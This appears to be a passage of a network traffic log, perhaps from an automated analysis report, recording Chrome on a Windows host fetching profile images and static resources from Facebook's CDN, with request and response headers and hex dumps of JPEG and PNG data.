2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Thu, 11 Apr 2024 12:25:02 GMT X-Needle-Checksum: 3124605448 thrift_fmhk: GBBSam7HvhXbOe/ARSngcXg3FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1700657529 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: 1vrQlGchbImKPVeRMyZqn9qPrIZuDuth6IHHvPfY-Ynr4yI9JImDcry5Tw8yYtJExY0C9p8BHf-_xfXm2nswRtViSRoDyvwkK3RSUG2RG6U X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=34, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5961
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 82 98 00 02 00 00 00 41 00 00 00 1a 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 72 6e 6c 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 ff e1 01 a6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 34 2e 34 2e 30 2d 45 78 69 76 32 22 3e 0a 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: JFIFdExifMM*ACopyright (c) 2012 rnl/Shutterstock. No use without permission.http://ns.adobe.com/xap/1.0/<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 30 38 35 30 66 30 30 30 30 30 32 31 30 30 30 30 30 62 35 31 30 30 30 30 30 65 36 31 31 30 30 30 30 34 39 31 37 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 9a 00 9a 03 01 22 00 02 11 01 03 11 01 ff c4 00 1a 00 00 01 05 01 00 00 00 00 00 00 00 00 00 00 00 00 02 00 01 03 04 05 06 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 05 06 04 ff Data Ascii: 0850f000002100000b5100000e611000049170000C%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: cd 36 29 f2 22 fb 88 e2 e3 56 2f 7f bd 0d c4 41 8b de 5f e5 f4 23 85 23 6d 5a 68 d1 42 85 4a 13 e3 be 17 d5 4c 4c 47 64 3b e0 8a 16 c4 da b7 9a 9d a1 72 e5 89 f3 a2 c8 4a aa 10 f1 28 61 6d 5a d3 1b 21 32 19 74 36 6c 55 2a 68 d0 88 76 1f 22 c1 d7 48 bf 75 b3 85 ff 00 13 5c 94 b1 b2 c5 86 2a 27 a9 2b 91 5d b6 9c 2b f9 73 54 28 a5 54 a2 94 51 78 4b 5b d7 62 70 86 af b9 8b 8d dd db 5f c0 ff 00 d4 6f a7 8f 46 8f ff c4 00 3a 10 00 01 03 02 02 06 07 05 06 07 00 00 00 00 00 00 01 00 02 11 03 12 21 31 04 13 33 41 51 61 10 22 30 32 40 71 81 20 52 91 93 b1 42 62 72 a1 a2 d1 05 14 23 92 b2 c1 e1 ff da 00 08 01 01 00 06 3f 02 f0 b7 3a e6 d0 dc 26 0b f9 f9 20 ca 86 67 b8 ff 00 7b 91 e7 e0 ae 76 c3 70 f7 ff 00 e7 41 63 c4 b4 e6 10 65 43 33 dc 7f bd c8 f3 fa f8 42 c7 89 Data Ascii: 6)"V/A_##mZhBJLLGd;rJ(amZ!2t6lUhv"Hu\'+]+sT(TQxK[bp_oF:!13AQa"02@q RBbr#?:& g{vpAceC3B
2024-04-11 20:35:33 UTC	1957	IN	Data Raw: ac 4b b7 13 ca 9e 44 1b 38 ac 37 7d c5 9d b6 45 34 50 c3 63 8b 8b 39 aa 8a dd 75 12 e2 58 5e 9c aa 6d bb 3b 90 7f 5d 5f f8 64 4f 67 15 02 c8 71 f5 1a c4 40 0a 5f 8e 69 d5 d1 ff c4 00 22 11 00 03 00 01 04 01 05 01 00 00 00 00 00 00 00 00 00 01 11 10 21 31 41 f0 20 51 91 b1 c1 d1 71 ff da 00 08 01 03 01 01 3f 10 6b a6 89 73 8f 14 a5 f3 d1 42 df c3 c4 a2 c5 0a 3d 0a 6e ba 86 f1 c5 58 a5 b2 e2 a7 f1 f7 94 84 91 c4 1a b1 0d 48 18 b1 fa fc af a2 56 9e 9d ed 2f f2 e3 38 08 53 74 dd 71 fe 09 fb 28 9e fe 00 12 11 db 96 2b a0 71 ed f7 1b 7b a4 c1 21 be e1 03 a3 56 cb 8f df c1 52 ad 76 a5 f6 4e a2 e1 1a 50 e9 c4 59 63 9c 0f 80 ed ec 52 89 90 da 24 91 22 10 46 a7 06 c4 9e 1a 9a 9a e3 60 dc f2 4c a5 3f ff c4 00 26 11 00 02 01 03 04 01 04 03 01 00 00 00 00 00 00 00 01 Data Ascii: KD87}E4Pc9uX^m;]_dOgq@_i"!1A Qq?ksB=nXHV/8Stq(+q{!VRvNPYcR$"F`L?&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49930	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	611	OUT	GET /rsrc.php/v3/yS/r/mdW2sCYlZBe.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1634	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: Xg2ktLOiPVlQOWcVgFYX9A== Expires: Thu, 10 Apr 2025 16:35:30 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: 3Ig8nE3WnFnT7fs/bUWXEIseIfaky81z7XmOROaNHlJdHbXHS9bMJ8EhZd3QPxzIP0ervnht8MrlSOj8dD8G/w== Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 7156
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:33 UTC	7155	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bd 00 00 00 b1 08 03 00 00 00 a6 cb 4c 79 00 00 02 fd 50 4c 54 45 47 70 4c 00 00 00 02 02 02 00 00 00 06 06 06 00 00 00 00 00 00 08 08 08 00 00 00 03 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 02 00 00 00 00 00 00 02 02 02 ff ff ff 01 01 01 05 05 05 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 04 04 04 03 03 03 00 00 00 01 01 01 08 08 08 00 00 00 00 00 00 00 00 00 00 00 00 05 05 05 00 00 00 01 01 01 01 01 01 00 00 00 02 02 02 00 00 00 00 00 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 00 00 00 00 00 00 02 02 02 01 01 01 02 02 02 04 04 04 04 04 04 00 00 00 00 00 00 04 04 04 00 00 00 04 04 04 00 00 Data Ascii: PNGIHDRLyPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49941	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	843	OUT	GET /v/t39.30808-6/432924638_981453820046238_6885541610282582644_n.jpg?stp=c62.0.160.160a_dst-jpg_p160x160&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=71KX-ATRvNwAb4ZywyM&_nc_ht=scontent-lga3-2.xx&oh=00_AfD9dej9ODWOZ3g0H0iLgebkxC4YSr9BElu67QWbKC7Lsg&oe=661E14B4 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	786	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 08 Apr 2024 12:31:07 GMT X-Needle-Checksum: 1648538649 thrift_fmhk: GBCKgBCfIU3ek5icGgqXI9g+FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=4056128666 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: _7EGooFkKpX9dhtrouNEWd0LOVHO8-940eBILI6Pcx1sZJgavMTioGjQXftgB0tB_wqy-Mva5zmHnQudMqw98nVLOl0HO_uPsufWh98oXGU X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=132, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 8194
2024-04-11 20:35:33 UTC	714	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 34 34 30 33 30 30 30 30 39 34 30 36 30 30 30 30 32 32 30 37 30 30 30 30 30 66 30 38 30 30 30 30 34 33 30 64 30 30 30 30 61 64 31 33 30 30 30 30 32 39 31 34 30 30 30 30 65 38 31 34 30 30 30 30 65 30 31 35 30 30 30 30 30 32 32 30 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100004403000094060000220700000f080000430d0000ad13000029140000e8140000e015000002200000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 91 78 97 d2 61 45 10 f4 17 94 77 78 13 bb 2b 6b cb 62 bd 1a 26 5d 18 e9 b0 dc b1 15 97 5f 29 79 3f 40 06 94 31 87 b2 74 11 fa 33 26 17 3c 61 ec 2e 39 7c 55 3b b2 69 eb e1 64 2d 71 ca 96 a1 d3 38 d3 b2 07 49 0d 24 93 74 ce 34 92 1f ff c4 00 2b 10 00 02 01 04 02 01 04 01 04 02 03 00 00 00 00 00 02 03 01 00 04 11 12 05 13 14 10 21 22 23 20 15 30 31 32 24 40 33 41 43 ff da 00 08 01 01 00 01 05 02 75 95 c2 7f d5 b9 b0 45 c5 5e f1 ad b6 fd 80 b5 61 db 42 5b 22 9b 73 61 39 1d 4a 65 b1 c3 2d ed e5 f4 56 d8 19 4b 06 a5 0d 82 95 32 0f d7 93 e2 e0 bf 35 df 21 75 0f 52 12 17 c3 05 74 e1 6a 3c e4 4b 2c ee 61 10 8b d1 88 0b d5 95 79 ca 1a 55 f0 75 31 82 b8 ba be 64 12 f9 13 9a 0b e0 ae 54 12 d9 fc 5d 6d 0b b8 7d 8e ab fd 3d db 0d 91 91 c5 9b 3a d9 68 c0 a8 b2 de c2 e3 Data Ascii: xaEwx+kb&]_)y?@1t3&<a.9\|U;id-q8I$t4+!"# 012$@3ACuE^aB["sa9Je-VK25!uRtj<K,ayUu1dT]m}=:h
2024-04-11 20:35:33 UTC	1790	IN	Data Raw: 46 bb 85 bb 04 e1 5c d4 70 f1 af 1d 82 a7 05 dc 01 c2 43 63 55 49 b5 0d 42 eb 1c c7 3b 71 2a 5c 61 4b 5e 1a 10 c0 2b 8f 08 d6 fb 3f 37 9d bd 7b fc d4 18 25 d7 86 9c f7 4e 7b 4b 67 c4 2c b2 53 5b 2c 32 eb 4c 1d 0f 74 58 1f 4a ed 22 f5 7b 8b 19 af 33 a2 61 55 ba d8 a7 04 9e b2 99 5a 9c 9a 84 f2 fa c2 63 69 3a 78 2e 7b 9c 70 13 b3 4e 00 ba 6e c1 0a b1 7b d8 0b 20 8c e0 aa 94 da 61 ad d4 ad 27 ea ae a6 e8 5c 5c d2 a5 1e 9f 2b 09 a0 cb d8 00 0e 93 b2 70 34 c4 f8 9e 23 4c f2 94 c7 d8 24 1b 8f 11 ca 8b 27 8e fe 68 56 d4 a3 4d da da 4f 96 55 1a 0c 7f 89 6f 33 a2 27 a2 a4 29 c0 f0 e7 3d 65 35 a5 8d 73 6c b0 83 e6 55 19 63 43 5c d0 c0 07 94 27 35 f4 81 6b 98 19 13 d1 17 f9 aa 3c 92 b1 f0 b8 72 14 41 4e 6b bc ca e6 71 0f cc 7c 93 8d 26 27 2b 43 ec b2 0a 98 30 b9 4f Data Ascii: F\pCcUIB;q*\aK^+?7{%N{Kg,S[,2LtXJ"{3aUZci:x.{pNn{ a'\\+p4#L$'hVMOUo3')=e5slUcC\'5k<rANkq\|&'+C0O
2024-04-11 20:35:33 UTC	4064	IN	Data Raw: a6 2a 22 45 24 d6 38 b9 8c d2 02 cc 13 50 fc ca ee dd 31 9e 17 cf 49 97 c6 81 ec e1 fa 4a ac d8 bc 8c 87 f1 28 05 65 57 44 5c 04 02 fd 12 96 7a ca a8 12 a6 ae 49 7e dc 4b 65 d2 10 4a b2 c8 b4 31 36 aa a6 b1 15 67 29 ec be 8e e1 a7 a6 3d 2c b8 b2 fa 4f 63 cb e3 eb 04 f9 c0 d7 56 b8 59 a0 57 ab af 69 e1 aa 25 07 9a 97 87 17 64 25 60 35 c7 c8 73 50 88 5e 0b 41 7c e3 6b da 76 f0 9b 43 e0 ea 52 aa 96 fd 63 27 de 0b 8b 00 78 1d 1f cc a9 b1 d3 43 7f 98 c7 e1 dc df 4a ee 6d f8 8e 7f b9 88 77 11 19 71 f8 81 b0 60 4d bd 53 03 45 02 f3 7f f2 03 49 69 9d 3f 13 57 b5 87 89 48 c4 9b 0a f5 ea 5d 06 de ee e1 cb 1f 9f d3 13 75 44 cf 7c de 89 0e 75 a0 ab 15 86 5c 11 64 75 62 55 55 23 4a 58 ea 61 c5 4f 30 49 55 ba 50 dd e4 88 11 c8 f2 f2 1a f8 98 ce ec eb 81 31 f5 94 35 45 Data Ascii: *"E$8P1IJ(eWD\zI~KeJ16g)=,OcVYWi%d%`5sP^A\|kvCRc'xCJmwq`MSEIi?WH]uD\|u\dubUU#JXaO0IUP15E
2024-04-11 20:35:33 UTC	126	IN	Data Raw: ec 2b a2 8b e5 2d 4d c1 45 bb 6a aa 2a 71 14 32 3d 20 c9 46 dd 95 6f eb 58 d9 53 26 cf 77 9d 53 50 d6 57 77 a6 c4 51 df 97 86 b6 b5 9a 4c da d7 cd 77 8a 3d 8e de f4 83 ee 16 7c b0 f6 03 7d 91 c1 1f 87 e3 06 73 fc 5c b8 50 7c b2 62 1f 45 af c6 58 ac f7 c9 73 8c 3f e0 3f 93 07 07 06 62 80 aa 01 b5 72 f4 0f 5c af fd 74 5f ac 7f ab c3 d7 8c 74 7f 1c e1 83 ff 00 01 fc ff 00 ff d9 Data Ascii: +-MEj*q2= FoXS&wSPWwQLw=\|}s\P\|bEXs??br\t_t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49935	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	841	OUT	GET /v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 291536030 thrift_fmhk: GBCGRhWcw3JPRApQyY9QroZGFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1966998888 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: Ov2q8E0YnEDFUJGQ-DhC-QsAcLX5CSJXXIJmq9mO9wW4deMJGqRQ6hHY4kSf-Rm9DVMqeXlZS64t-HLayBJPRGfvR6xQNnE_lNcs63KLcEI X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=207, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 4195
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 70 7a 64 79 4b 5a 54 75 42 47 30 42 4d 34 6a 32 35 6e 41 6e 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 36 30 31 30 30 30 30 39 34 30 32 30 30 30 30 33 36 30 34 30 30 30 30 62 30 30 34 30 30 30 30 31 39 30 35 30 30 30 30 35 34 30 38 30 30 30 30 65 65 30 61 30 30 30 30 37 31 30 62 30 30 30 30 30 36 30 63 30 30 30 30 37 38 30 63 30 30 30 30 36 33 31 30 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 Data Ascii: JFIFPhotoshop 3.08BIMgpzdyKZTuBG0BM4j25nAn(bFBMD0a000a860100009402000036040000b00400001905000054080000ee0a0000710b0000060c0000780c000063100000C%# , #&')*)-0-(0%()(C
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: ba cd 19 5e 82 ec e4 bd fc 98 79 0c 3a 6e 3a a3 c4 af 22 ae 31 78 80 aa 00 7e 04 d6 26 fe 23 2c d0 34 ca b9 5d 4e 5d c9 d2 cc 32 cb 9f 81 71 d2 fa e3 87 5c 70 ea 83 a5 3d 9a e4 98 e1 63 d8 33 13 8c 3b 16 71 e7 8d 4c 95 9d 3d 4d 4c b9 6d 8a ca bc 71 53 21 92 2d 56 9c a7 5b 2b df 26 d0 42 dd fd 43 13 91 33 0c e2 58 23 03 ca 34 40 6a b2 da f5 0e 45 aa 8e 86 75 e2 0f 26 72 59 d7 4c 26 c0 eb 43 2d b1 26 25 2c b4 d5 6c 72 64 01 21 2f ec 98 42 c4 69 ac 37 7d 0f 48 a9 58 16 2a e3 9f 48 ad 72 63 c7 b8 1a b5 8c 29 4b 38 7a 08 8b 24 e2 c4 c8 a7 cb a4 63 d8 21 85 87 ec 44 a0 c8 4b 38 9e 95 63 1a 6b c2 38 e5 d5 ae 89 6e 8a 41 e6 63 bb 3b c1 fe 7c 8b 6d dc b4 5b 91 3a a9 37 19 2d 68 1f 7f eb a9 66 c0 31 7a 29 df fe 48 35 a7 5d f9 d5 98 b4 56 b7 b4 97 e0 db cb 68 db cf Data Ascii: ^y:n:"1x~&#,4]N]2q\p=c3;qL=MLmqS!-V[+&BC3X#4@jEu&rYL&C-&%,lrd!/Bi7}HX*Hrc)K8z$c!DK8ck8nAc;\|m[:7-hf1z)H5]Vh
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: ee 06 0a fd 22 2e 56 45 95 1e ab 07 ce 61 70 59 21 4d c0 77 26 9d 3f 0b 99 84 ba 32 f8 fb 82 8f 4a 1e bf a9 b0 40 ce cf fb 01 a2 8e f2 11 5e 8a 19 10 d3 a2 86 dc 1e e3 43 84 d5 4d 4f d1 27 e8 91 75 41 dd 07 f0 f4 e6 14 12 e4 b4 4e 4d b9 5c 14 ba 84 48 0f 68 ab 82 f7 09 9c bc 43 53 57 03 88 76 ed 2b 71 05 e2 a9 44 f5 83 da ad 8a b0 fe 76 9b 97 1a b6 97 01 62 e9 90 9b af 24 db 32 9d 7d d1 50 50 98 e5 6c a1 01 d1 95 ba 57 78 2a 15 42 98 55 42 90 de bd 4a cb e0 42 4a 60 e9 c9 02 28 72 1e 81 99 8c 2d f2 da f4 21 08 4f 16 28 e3 a4 0b a5 9b 6d e6 08 70 da 45 c6 48 29 8f 01 ba e5 c4 c5 3a 82 5d 44 45 a3 a4 05 15 0d c9 b6 14 4e 67 09 34 09 79 f1 2a 11 9c 4d 72 0f 69 92 32 90 b9 51 79 14 63 47 05 25 63 4e 50 6a 07 39 76 b1 f4 18 1b de d2 a7 dc 43 b5 1c 37 97 b2 1d Data Ascii: ".VEapY!Mw&?2J@^CMO'uANM\HhCSWv+qDvb$2}PPlWxBUBJBJ`(r-!O(mpEH):]DENg4yMri2QycG%cNPj9vC7
2024-04-11 20:35:33 UTC	191	IN	Data Raw: c1 e7 03 d4 bd 5c fc e0 40 00 08 13 83 20 34 3f e7 34 f1 11 17 d7 39 b1 1b 08 1f 2b 82 0c 53 40 26 22 f4 8e 9c f5 fe f9 c5 1b d0 5d cd 17 3d 7f be 7a ff 00 7c 59 00 15 57 41 8a c1 45 40 83 e9 fc 46 64 d6 96 a6 ea 13 50 72 d0 db 27 2a 14 15 77 80 e9 f6 cd 30 cb 40 48 e4 8f 48 0d 95 4e e2 bc 63 f1 d9 69 aa 82 7a 42 77 8d 8e a2 3b b6 90 21 91 53 10 04 d6 e4 3a 29 51 d6 a0 31 6b 8c b4 e6 02 6a 4e 9a 43 92 20 59 39 17 9d a2 03 83 90 2a bd be 44 e4 a5 73 a4 7a e6 f4 eb bc 18 f9 ac e5 1a 58 76 f1 3e 18 c3 96 cd 6c 08 9e a5 08 7d 91 09 3c 82 9b c8 b0 3c b7 cf 83 fb 53 ff d9 Data Ascii: \@ 4?49+S@&"]=z\|YWAE@FdPr'w0@HHNcizBw;!S:)Q1kjNC Y9DszXv>l}<<S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49934	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	828	OUT	GET /v/t39.30808-6/432913958_982761573248796_5936599578752657612_n.jpg?stp=dst-jpg_s160x160&_nc_cat=106&ccb=1-7&_nc_sid=5f2048&_nc_ohc=KZPvj0YAcUQAb4zfexZ&_nc_ht=scontent-lga3-1.xx&oh=00_AfCtKT4Ml4ll6ZqExtUsLq_2FcMg_To2Fof-0JkATk8tFA&oe=661E013C HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Wed, 10 Apr 2024 13:01:00 GMT X-Needle-Checksum: 3432565113 thrift_fmhk: GBDj/cdW8DzJKMHfmmBCTFhmFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1112839383 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: fW3cOUbtHH_lYQLXIqo7L2VikRegisklD0so4-DVYaMUPjUedC2TtPqDrjRJ-Mt1mD6RYcPLrk-MvHNb5-J61QDO-TZF6xG28c3zHpSVixo X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=43, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5476
